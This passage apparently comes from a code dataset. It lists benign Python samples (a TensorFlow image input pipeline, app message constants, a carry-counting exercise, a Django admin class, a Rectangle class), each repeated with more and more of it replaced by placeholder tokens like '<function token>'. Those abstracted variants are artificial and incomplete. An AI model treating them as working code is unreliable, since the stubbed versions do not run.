tf.string_join([la_dir, strip_filename, la_ext])\n im_dec = tf.image.decode_jpeg(tf.read_file(im_filename))\n greyscale_cond = tf.equal(tf.shape(im_dec)[-1], 1)\n im_dec = tf.cond(greyscale_cond, lambda : tf.image.grayscale_to_rgb(\n im_dec), lambda : tf.identity(im_dec))\n im_dec = tf.image.convert_image_dtype(im_dec, dtype=tf.float32)\n im_dec = from_0_1_to_m1_1(im_dec)\n la_dec = tf.image.decode_png(tf.read_file(la_filename))\n return im_dec, la_dec\n\n\ndef _parse_and_decode_inference(filename, dataset_directory):\n im_dir = tf.cast(os.path.join(dataset_directory, 'images/'), tf.string)\n im_ext = tf.cast('.png', tf.string)\n im_filename = tf.string_join([im_dir, filename, im_ext])\n im_dec = tf.image.decode_jpeg(tf.read_file(im_filename))\n im_dec_raw = im_dec\n greyscale_cond = tf.equal(tf.shape(im_dec)[-1], 1)\n im_dec = tf.cond(greyscale_cond, lambda : tf.image.grayscale_to_rgb(\n im_dec), lambda : tf.identity(im_dec))\n im_dec = tf.image.convert_image_dtype(im_dec, dtype=tf.float32)\n im_dec = from_0_1_to_m1_1(im_dec)\n return im_dec, im_filename, im_dec_raw\n\n\ndef _preprocess_images(image, label, params):\n if params.random_flip:\n label = tf.cast(tf.expand_dims(label, -1), tf.float32)\n im_la = tf.concat([image, label], axis=-1)\n im_la = tf.image.random_flip_left_right(im_la)\n image = im_la[..., 0:3]\n label = im_la[..., 3]\n label = tf.cast(label, tf.uint8)\n label = tf.squeeze(label)\n image.set_shape([params.height_input, params.width_input, 3])\n label.set_shape([params.height_input, params.width_input])\n return image, label\n\n\n<function token>\n\n\ndef _resize_images_inference(image, im_filename, im_raw, height, width):\n \"\"\"\n\n Args:\n image:\n label:\n height:\n width:\n\n Returns:\n\n \"\"\"\n im_res = tf.image.resize_images(image, [height, width])\n im_res.set_shape([height, width, 3])\n return im_res, im_filename, im_raw\n\n\ndef train_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images, height=params.\n height_input, width=params.width_input))\n dataset = dataset.map(functools.partial(_preprocess_images, params=params))\n dataset = dataset.batch(params.Nb)\n dataset = dataset.shuffle(100)\n dataset = dataset.repeat(None)\n return dataset\n\n\n<function token>\n\n\ndef inference_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode_inference,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images_inference,\n height=params.height_input, width=params.width_input))\n dataset = dataset.batch(1)\n return dataset\n", "<import token>\n\n\ndef from_0_1_to_m1_1(images):\n \"\"\"\n Center images from [0, 1) to [-1, 1).\n\n Arguments:\n images: tf.float32, in [0, 1), of any dimensions\n\n Return:\n images linearly scaled to [-1, 1)\n \"\"\"\n mean = 0.5\n proimages = (images - mean) / mean\n return proimages\n\n\ndef _parse_and_decode(filename, dataset_directory):\n \"\"\"\n\n Args:\n filename:\n dataset_directory:\n\n Returns:\n\n \"\"\"\n filename_split = tf.unstack(tf.string_split([filename], '_').values[:-1\n ], num=3)\n strip_filename = tf.string_join(filename_split, '_')\n im_dir = tf.cast(os.path.join(dataset_directory, 'images/'), tf.string)\n la_dir = tf.cast(os.path.join(dataset_directory, 'panoptic_proc/'), tf.\n string)\n im_ext = tf.cast('.png', tf.string)\n la_ext = tf.cast('_gtFine_instanceIds.png', tf.string)\n im_filename = tf.string_join([im_dir, filename, im_ext])\n la_filename = tf.string_join([la_dir, strip_filename, la_ext])\n im_dec = tf.image.decode_jpeg(tf.read_file(im_filename))\n greyscale_cond = tf.equal(tf.shape(im_dec)[-1], 1)\n im_dec = tf.cond(greyscale_cond, lambda : tf.image.grayscale_to_rgb(\n im_dec), lambda : tf.identity(im_dec))\n im_dec = tf.image.convert_image_dtype(im_dec, dtype=tf.float32)\n im_dec = from_0_1_to_m1_1(im_dec)\n la_dec = tf.image.decode_png(tf.read_file(la_filename))\n return im_dec, la_dec\n\n\n<function token>\n\n\ndef _preprocess_images(image, label, params):\n if params.random_flip:\n label = tf.cast(tf.expand_dims(label, -1), tf.float32)\n im_la = tf.concat([image, label], axis=-1)\n im_la = tf.image.random_flip_left_right(im_la)\n image = im_la[..., 0:3]\n label = im_la[..., 3]\n label = tf.cast(label, tf.uint8)\n label = tf.squeeze(label)\n image.set_shape([params.height_input, params.width_input, 3])\n label.set_shape([params.height_input, params.width_input])\n return image, label\n\n\n<function token>\n\n\ndef _resize_images_inference(image, im_filename, im_raw, height, width):\n \"\"\"\n\n Args:\n image:\n label:\n height:\n width:\n\n Returns:\n\n \"\"\"\n im_res = tf.image.resize_images(image, [height, width])\n im_res.set_shape([height, width, 3])\n return im_res, im_filename, im_raw\n\n\ndef train_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images, height=params.\n height_input, width=params.width_input))\n dataset = dataset.map(functools.partial(_preprocess_images, params=params))\n dataset = dataset.batch(params.Nb)\n dataset = dataset.shuffle(100)\n dataset = dataset.repeat(None)\n return dataset\n\n\n<function token>\n\n\ndef inference_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode_inference,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images_inference,\n height=params.height_input, width=params.width_input))\n dataset = dataset.batch(1)\n return dataset\n", "<import token>\n\n\ndef from_0_1_to_m1_1(images):\n \"\"\"\n Center images from [0, 1) to [-1, 1).\n\n Arguments:\n images: tf.float32, in [0, 1), of any dimensions\n\n Return:\n images linearly scaled to [-1, 1)\n \"\"\"\n mean = 0.5\n proimages = (images - mean) / mean\n return proimages\n\n\ndef _parse_and_decode(filename, dataset_directory):\n \"\"\"\n\n Args:\n filename:\n dataset_directory:\n\n Returns:\n\n \"\"\"\n filename_split = tf.unstack(tf.string_split([filename], '_').values[:-1\n ], num=3)\n strip_filename = tf.string_join(filename_split, '_')\n im_dir = tf.cast(os.path.join(dataset_directory, 'images/'), tf.string)\n la_dir = tf.cast(os.path.join(dataset_directory, 'panoptic_proc/'), tf.\n string)\n im_ext = tf.cast('.png', tf.string)\n la_ext = tf.cast('_gtFine_instanceIds.png', tf.string)\n im_filename = tf.string_join([im_dir, filename, im_ext])\n la_filename = tf.string_join([la_dir, strip_filename, la_ext])\n im_dec = tf.image.decode_jpeg(tf.read_file(im_filename))\n greyscale_cond = tf.equal(tf.shape(im_dec)[-1], 1)\n im_dec = tf.cond(greyscale_cond, lambda : tf.image.grayscale_to_rgb(\n im_dec), lambda : tf.identity(im_dec))\n im_dec = tf.image.convert_image_dtype(im_dec, dtype=tf.float32)\n im_dec = from_0_1_to_m1_1(im_dec)\n la_dec = tf.image.decode_png(tf.read_file(la_filename))\n return im_dec, la_dec\n\n\n<function token>\n\n\ndef _preprocess_images(image, label, params):\n if params.random_flip:\n label = tf.cast(tf.expand_dims(label, -1), tf.float32)\n im_la = tf.concat([image, label], axis=-1)\n im_la = tf.image.random_flip_left_right(im_la)\n image = im_la[..., 0:3]\n label = im_la[..., 3]\n label = tf.cast(label, tf.uint8)\n label = tf.squeeze(label)\n image.set_shape([params.height_input, params.width_input, 3])\n label.set_shape([params.height_input, params.width_input])\n return image, label\n\n\n<function token>\n<function token>\n\n\ndef train_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images, height=params.\n height_input, width=params.width_input))\n dataset = dataset.map(functools.partial(_preprocess_images, params=params))\n dataset = dataset.batch(params.Nb)\n dataset = dataset.shuffle(100)\n dataset = dataset.repeat(None)\n return dataset\n\n\n<function token>\n\n\ndef inference_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode_inference,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images_inference,\n height=params.height_input, width=params.width_input))\n dataset = dataset.batch(1)\n return dataset\n", "<import token>\n\n\ndef from_0_1_to_m1_1(images):\n \"\"\"\n Center images from [0, 1) to [-1, 1).\n\n Arguments:\n images: tf.float32, in [0, 1), of any dimensions\n\n Return:\n images linearly scaled to [-1, 1)\n \"\"\"\n mean = 0.5\n proimages = (images - mean) / mean\n return proimages\n\n\n<function token>\n<function token>\n\n\ndef _preprocess_images(image, label, params):\n if params.random_flip:\n label = tf.cast(tf.expand_dims(label, -1), tf.float32)\n im_la = tf.concat([image, label], axis=-1)\n im_la = tf.image.random_flip_left_right(im_la)\n image = im_la[..., 0:3]\n label = im_la[..., 3]\n label = tf.cast(label, tf.uint8)\n label = tf.squeeze(label)\n image.set_shape([params.height_input, params.width_input, 3])\n label.set_shape([params.height_input, params.width_input])\n return image, label\n\n\n<function token>\n<function token>\n\n\ndef train_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images, height=params.\n height_input, width=params.width_input))\n dataset = dataset.map(functools.partial(_preprocess_images, params=params))\n dataset = dataset.batch(params.Nb)\n dataset = dataset.shuffle(100)\n dataset = dataset.repeat(None)\n return dataset\n\n\n<function token>\n\n\ndef inference_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode_inference,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images_inference,\n height=params.height_input, width=params.width_input))\n dataset = dataset.batch(1)\n return dataset\n", "<import token>\n\n\ndef from_0_1_to_m1_1(images):\n \"\"\"\n Center images from [0, 1) to [-1, 1).\n\n Arguments:\n images: tf.float32, in [0, 1), of any dimensions\n\n Return:\n images linearly scaled to [-1, 1)\n \"\"\"\n mean = 0.5\n proimages = (images - mean) / mean\n return proimages\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef train_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images, height=params.\n height_input, width=params.width_input))\n dataset = dataset.map(functools.partial(_preprocess_images, params=params))\n dataset = dataset.batch(params.Nb)\n dataset = dataset.shuffle(100)\n dataset = dataset.repeat(None)\n return dataset\n\n\n<function token>\n\n\ndef inference_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode_inference,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images_inference,\n height=params.height_input, width=params.width_input))\n dataset = dataset.batch(1)\n return dataset\n", "<import token>\n\n\ndef from_0_1_to_m1_1(images):\n \"\"\"\n Center images from [0, 1) to [-1, 1).\n\n Arguments:\n images: tf.float32, in [0, 1), of any dimensions\n\n Return:\n images linearly scaled to [-1, 1)\n \"\"\"\n mean = 0.5\n proimages = (images - mean) / mean\n return proimages\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef train_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images, height=params.\n height_input, width=params.width_input))\n dataset = dataset.map(functools.partial(_preprocess_images, params=params))\n dataset = dataset.batch(params.Nb)\n dataset = dataset.shuffle(100)\n dataset = dataset.repeat(None)\n return dataset\n\n\n<function token>\n<function token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef train_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images, height=params.\n height_input, width=params.width_input))\n dataset = dataset.map(functools.partial(_preprocess_images, params=params))\n dataset = dataset.batch(params.Nb)\n dataset = dataset.shuffle(100)\n dataset = dataset.repeat(None)\n return dataset\n\n\n<function token>\n<function token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n" ]

[ "STR_REGISTRATION_SUCCESS = 'Registration successful'\n\nSTR_LOGIN_SUCCESS = 'Login successful'\n\nSTR_INVALID_EMAIL = 'Invalid email id provided'\nSTR_INVALID_MOBILE = 'Invalid mobile number provided'\nSTR_INVALID_GENDER = 'Invalid gender provided'\n\nSTR_FAMILY_ADDITION_SUCCESS = 'Family added successfully'\n\nSTR_RELATIONSHIP_ADDITION_SUCCESS = 'Relationship added successfully'\n\nSTR_RELATIVES_ADDITION_SUCCESS = 'Relatives added successfully'\n\n\nSTR_INVALID_PERSON = 'User information not available'\n\nSTR_INVALID_RELATIONSHIP = 'User information not available'\n\nSTR_SEARCH_SUCCESS = 'Search retrieved successfully'\n\nSTR_LOGIN_FAILED = 'Mobile number or password is invalid'\n", "STR_REGISTRATION_SUCCESS = 'Registration successful'\nSTR_LOGIN_SUCCESS = 'Login successful'\nSTR_INVALID_EMAIL = 'Invalid email id provided'\nSTR_INVALID_MOBILE = 'Invalid mobile number provided'\nSTR_INVALID_GENDER = 'Invalid gender provided'\nSTR_FAMILY_ADDITION_SUCCESS = 'Family added successfully'\nSTR_RELATIONSHIP_ADDITION_SUCCESS = 'Relationship added successfully'\nSTR_RELATIVES_ADDITION_SUCCESS = 'Relatives added successfully'\nSTR_INVALID_PERSON = 'User information not available'\nSTR_INVALID_RELATIONSHIP = 'User information not available'\nSTR_SEARCH_SUCCESS = 'Search retrieved successfully'\nSTR_LOGIN_FAILED = 'Mobile number or password is invalid'\n", "<assignment token>\n" ]

[ "while True:\n number_a, number_b = input().split()\n if number_a == number_b == '0':\n break\n\n number_b = ('{:0>' + str(len(number_a)) + '}').format(number_b)\n number_a = ('{:0>' + str(len(number_b)) + '}').format(number_a)\n\n carry = 0\n total_carries = 0\n for i in reversed(range(len(number_a))):\n carry = int(int(number_a[i]) + int(number_b[i]) + carry > 9)\n total_carries += carry\n if total_carries == 0:\n print('No carry operation.')\n elif total_carries == 1:\n print('1 carry operation.')\n else:\n print('{} carry operations.'.format(total_carries))\n", "while True:\n number_a, number_b = input().split()\n if number_a == number_b == '0':\n break\n number_b = ('{:0>' + str(len(number_a)) + '}').format(number_b)\n number_a = ('{:0>' + str(len(number_b)) + '}').format(number_a)\n carry = 0\n total_carries = 0\n for i in reversed(range(len(number_a))):\n carry = int(int(number_a[i]) + int(number_b[i]) + carry > 9)\n total_carries += carry\n if total_carries == 0:\n print('No carry operation.')\n elif total_carries == 1:\n print('1 carry operation.')\n else:\n print('{} carry operations.'.format(total_carries))\n", "<code token>\n" ]

[ "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\n\nfrom django.contrib import admin\nfrom userApp.models import Petugas, Anggota\nfrom django.contrib.auth.models import User\n\n# Register your models here.\nclass AnggotaAdmin(admin.ModelAdmin):\n\tlist_per_page = 10\n\tlist_display = ('nis','nama','jk','agama','ttl','alamat','get_email',\n\t\t'get_username')\n\tlist_filter = ('jk','agama')\n\tsearch_fields = ('nis','nama','ttl','get_username')\n\n\tdef get_username(self, obj):\n\t\treturn obj.user.username\n\tget_username.short_description = 'User'\n\tget_username.admin_order_field = 'user__username'\n\n\tdef get_email(self, obj):\n\t\treturn obj.user.email\n\tget_email.short_description = 'User'\n\tget_email.admin_order_field = 'user__email'\n\n\t# def get_status_siswa(self, obj):\n\t# \treturn obj.user.is_active\n\t# get_status.short_description = 'User'\n\t# get_status.admin_order_field = 'user__is_active'\n\nadmin.site.register(Petugas)\nadmin.site.register(Anggota,AnggotaAdmin)\n", "from __future__ import unicode_literals\nfrom django.contrib import admin\nfrom userApp.models import Petugas, Anggota\nfrom django.contrib.auth.models import User\n\n\nclass AnggotaAdmin(admin.ModelAdmin):\n list_per_page = 10\n list_display = ('nis', 'nama', 'jk', 'agama', 'ttl', 'alamat',\n 'get_email', 'get_username')\n list_filter = 'jk', 'agama'\n search_fields = 'nis', 'nama', 'ttl', 'get_username'\n\n def get_username(self, obj):\n return obj.user.username\n get_username.short_description = 'User'\n get_username.admin_order_field = 'user__username'\n\n def get_email(self, obj):\n return obj.user.email\n get_email.short_description = 'User'\n get_email.admin_order_field = 'user__email'\n\n\nadmin.site.register(Petugas)\nadmin.site.register(Anggota, AnggotaAdmin)\n", "<import token>\n\n\nclass AnggotaAdmin(admin.ModelAdmin):\n list_per_page = 10\n list_display = ('nis', 'nama', 'jk', 'agama', 'ttl', 'alamat',\n 'get_email', 'get_username')\n list_filter = 'jk', 'agama'\n search_fields = 'nis', 'nama', 'ttl', 'get_username'\n\n def get_username(self, obj):\n return obj.user.username\n get_username.short_description = 'User'\n get_username.admin_order_field = 'user__username'\n\n def get_email(self, obj):\n return obj.user.email\n get_email.short_description = 'User'\n get_email.admin_order_field = 'user__email'\n\n\nadmin.site.register(Petugas)\nadmin.site.register(Anggota, AnggotaAdmin)\n", "<import token>\n\n\nclass AnggotaAdmin(admin.ModelAdmin):\n list_per_page = 10\n list_display = ('nis', 'nama', 'jk', 'agama', 'ttl', 'alamat',\n 'get_email', 'get_username')\n list_filter = 'jk', 'agama'\n search_fields = 'nis', 'nama', 'ttl', 'get_username'\n\n def get_username(self, obj):\n return obj.user.username\n get_username.short_description = 'User'\n get_username.admin_order_field = 'user__username'\n\n def get_email(self, obj):\n return obj.user.email\n get_email.short_description = 'User'\n get_email.admin_order_field = 'user__email'\n\n\n<code token>\n", "<import token>\n\n\nclass AnggotaAdmin(admin.ModelAdmin):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def get_username(self, obj):\n return obj.user.username\n <assignment token>\n <assignment token>\n\n def get_email(self, obj):\n return obj.user.email\n <assignment token>\n <assignment token>\n\n\n<code token>\n", "<import token>\n\n\nclass AnggotaAdmin(admin.ModelAdmin):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <assignment token>\n <assignment token>\n\n def get_email(self, obj):\n return obj.user.email\n <assignment token>\n <assignment token>\n\n\n<code token>\n", "<import token>\n\n\nclass AnggotaAdmin(admin.ModelAdmin):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <assignment token>\n <assignment token>\n <function token>\n <assignment token>\n <assignment token>\n\n\n<code token>\n", "<import token>\n<class token>\n<code token>\n" ]

[ "#!/usr/bin/python3\n\n\"\"\" Module that defines Rectangle class (inherits from Base) \"\"\"\n\n\nfrom models.base import Base\n\n\nclass Rectangle(Base):\n \"\"\" Defines attributes and methods of Rectangle class \"\"\"\n\n def __init__(self, width, height, x=0, y=0, id=None):\n \"\"\" Instantiates all attributes of class \"\"\"\n self.width = width\n self.height = height\n self.x = x\n self.y = y\n super().__init__(id)\n\n def data_validator(self, name, value):\n \"\"\" Validates proper integer input \"\"\"\n if type(value) is not int:\n raise TypeError(\"{} must be an integer\".format(name))\n if name == \"height\" or name == \"width\":\n if value <= 0:\n raise ValueError(\"{} must be > 0\".format(name))\n else:\n if value < 0:\n raise ValueError(\"{} must be >= 0\".format(name))\n\n def area(self):\n \"\"\" Calculates area \"\"\"\n return self.width * self.height\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(\" \", end=\"\")\n for row in range(self.width):\n print(\"#\", end=\"\")\n print()\n\n def update(self, *args, **kwargs):\n \"\"\" Updates attribute values after initialization \"\"\"\n arg_name = ['id', 'width', 'height', 'x', 'y']\n \"\"\" If args only, sets attribute to correct arg_name \"\"\"\n if len(args) > 0:\n numArgs = 0\n for attr in range(len(args)):\n setattr(self, arg_name[numArgs], args[numArgs])\n numArgs += 1\n \"\"\" Put kwargs into dict - if key matches arg_name, set to value \"\"\"\n kwargs_dict = kwargs\n for key, value in kwargs_dict.items():\n for attr in range(len(arg_name)):\n if key == arg_name[attr]:\n setattr(self, arg_name[attr], value)\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect[\"id\"] = self.id\n dict_rect[\"width\"] = self.width\n dict_rect[\"height\"] = self.height\n dict_rect[\"x\"] = self.x\n dict_rect[\"y\"] = self.y\n return dict_rect\n\n def __str__(self):\n \"\"\" Builtin that produces readable output \"\"\"\n return \"[{}] ({}) {}/{} - {}/{}\".format(self.__class__.__name__,\n self.id, self.x, self.y,\n self.width, self.height)\n\n @property\n def width(self):\n \"\"\" Gets private width attribute \"\"\"\n return self.__width\n\n @width.setter\n def width(self, value):\n \"\"\" Sets width attribute with exceptions \"\"\"\n self.data_validator(\"width\", value)\n self.__width = value\n\n @property\n def height(self):\n \"\"\" Gets private height attribute \"\"\"\n return self.__height\n\n @height.setter\n def height(self, value):\n \"\"\" Sets height attribute with exceptions \"\"\"\n self.data_validator(\"height\", value)\n self.__height = value\n\n @property\n def x(self):\n \"\"\" Gets private x attribute \"\"\"\n return self.__x\n\n @x.setter\n def x(self, value):\n \"\"\" Sets x attribute with exceptions \"\"\"\n self.data_validator(\"x\", value)\n self.__x = value\n\n @property\n def y(self):\n \"\"\" Gets private y attribute \"\"\"\n return self.__y\n\n @y.setter\n def y(self, value):\n \"\"\" Sets y attribute with exceptions \"\"\"\n self.data_validator(\"y\", value)\n self.__y = value\n", "<docstring token>\nfrom models.base import Base\n\n\nclass Rectangle(Base):\n \"\"\" Defines attributes and methods of Rectangle class \"\"\"\n\n def __init__(self, width, height, x=0, y=0, id=None):\n \"\"\" Instantiates all attributes of class \"\"\"\n self.width = width\n self.height = height\n self.x = x\n self.y = y\n super().__init__(id)\n\n def data_validator(self, name, value):\n \"\"\" Validates proper integer input \"\"\"\n if type(value) is not int:\n raise TypeError('{} must be an integer'.format(name))\n if name == 'height' or name == 'width':\n if value <= 0:\n raise ValueError('{} must be > 0'.format(name))\n elif value < 0:\n raise ValueError('{} must be >= 0'.format(name))\n\n def area(self):\n \"\"\" Calculates area \"\"\"\n return self.width * self.height\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(' ', end='')\n for row in range(self.width):\n print('#', end='')\n print()\n\n def update(self, *args, **kwargs):\n \"\"\" Updates attribute values after initialization \"\"\"\n arg_name = ['id', 'width', 'height', 'x', 'y']\n \"\"\" If args only, sets attribute to correct arg_name \"\"\"\n if len(args) > 0:\n numArgs = 0\n for attr in range(len(args)):\n setattr(self, arg_name[numArgs], args[numArgs])\n numArgs += 1\n \"\"\" Put kwargs into dict - if key matches arg_name, set to value \"\"\"\n kwargs_dict = kwargs\n for key, value in kwargs_dict.items():\n for attr in range(len(arg_name)):\n if key == arg_name[attr]:\n setattr(self, arg_name[attr], value)\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n\n def __str__(self):\n \"\"\" Builtin that produces readable output \"\"\"\n return '[{}] ({}) {}/{} - {}/{}'.format(self.__class__.__name__,\n self.id, self.x, self.y, self.width, self.height)\n\n @property\n def width(self):\n \"\"\" Gets private width attribute \"\"\"\n return self.__width\n\n @width.setter\n def width(self, value):\n \"\"\" Sets width attribute with exceptions \"\"\"\n self.data_validator('width', value)\n self.__width = value\n\n @property\n def height(self):\n \"\"\" Gets private height attribute \"\"\"\n return self.__height\n\n @height.setter\n def height(self, value):\n \"\"\" Sets height attribute with exceptions \"\"\"\n self.data_validator('height', value)\n self.__height = value\n\n @property\n def x(self):\n \"\"\" Gets private x attribute \"\"\"\n return self.__x\n\n @x.setter\n def x(self, value):\n \"\"\" Sets x attribute with exceptions \"\"\"\n self.data_validator('x', value)\n self.__x = value\n\n @property\n def y(self):\n \"\"\" Gets private y attribute \"\"\"\n return self.__y\n\n @y.setter\n def y(self, value):\n \"\"\" Sets y attribute with exceptions \"\"\"\n self.data_validator('y', value)\n self.__y = value\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n \"\"\" Defines attributes and methods of Rectangle class \"\"\"\n\n def __init__(self, width, height, x=0, y=0, id=None):\n \"\"\" Instantiates all attributes of class \"\"\"\n self.width = width\n self.height = height\n self.x = x\n self.y = y\n super().__init__(id)\n\n def data_validator(self, name, value):\n \"\"\" Validates proper integer input \"\"\"\n if type(value) is not int:\n raise TypeError('{} must be an integer'.format(name))\n if name == 'height' or name == 'width':\n if value <= 0:\n raise ValueError('{} must be > 0'.format(name))\n elif value < 0:\n raise ValueError('{} must be >= 0'.format(name))\n\n def area(self):\n \"\"\" Calculates area \"\"\"\n return self.width * self.height\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(' ', end='')\n for row in range(self.width):\n print('#', end='')\n print()\n\n def update(self, *args, **kwargs):\n \"\"\" Updates attribute values after initialization \"\"\"\n arg_name = ['id', 'width', 'height', 'x', 'y']\n \"\"\" If args only, sets attribute to correct arg_name \"\"\"\n if len(args) > 0:\n numArgs = 0\n for attr in range(len(args)):\n setattr(self, arg_name[numArgs], args[numArgs])\n numArgs += 1\n \"\"\" Put kwargs into dict - if key matches arg_name, set to value \"\"\"\n kwargs_dict = kwargs\n for key, value in kwargs_dict.items():\n for attr in range(len(arg_name)):\n if key == arg_name[attr]:\n setattr(self, arg_name[attr], value)\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n\n def __str__(self):\n \"\"\" Builtin that produces readable output \"\"\"\n return '[{}] ({}) {}/{} - {}/{}'.format(self.__class__.__name__,\n self.id, self.x, self.y, self.width, self.height)\n\n @property\n def width(self):\n \"\"\" Gets private width attribute \"\"\"\n return self.__width\n\n @width.setter\n def width(self, value):\n \"\"\" Sets width attribute with exceptions \"\"\"\n self.data_validator('width', value)\n self.__width = value\n\n @property\n def height(self):\n \"\"\" Gets private height attribute \"\"\"\n return self.__height\n\n @height.setter\n def height(self, value):\n \"\"\" Sets height attribute with exceptions \"\"\"\n self.data_validator('height', value)\n self.__height = value\n\n @property\n def x(self):\n \"\"\" Gets private x attribute \"\"\"\n return self.__x\n\n @x.setter\n def x(self, value):\n \"\"\" 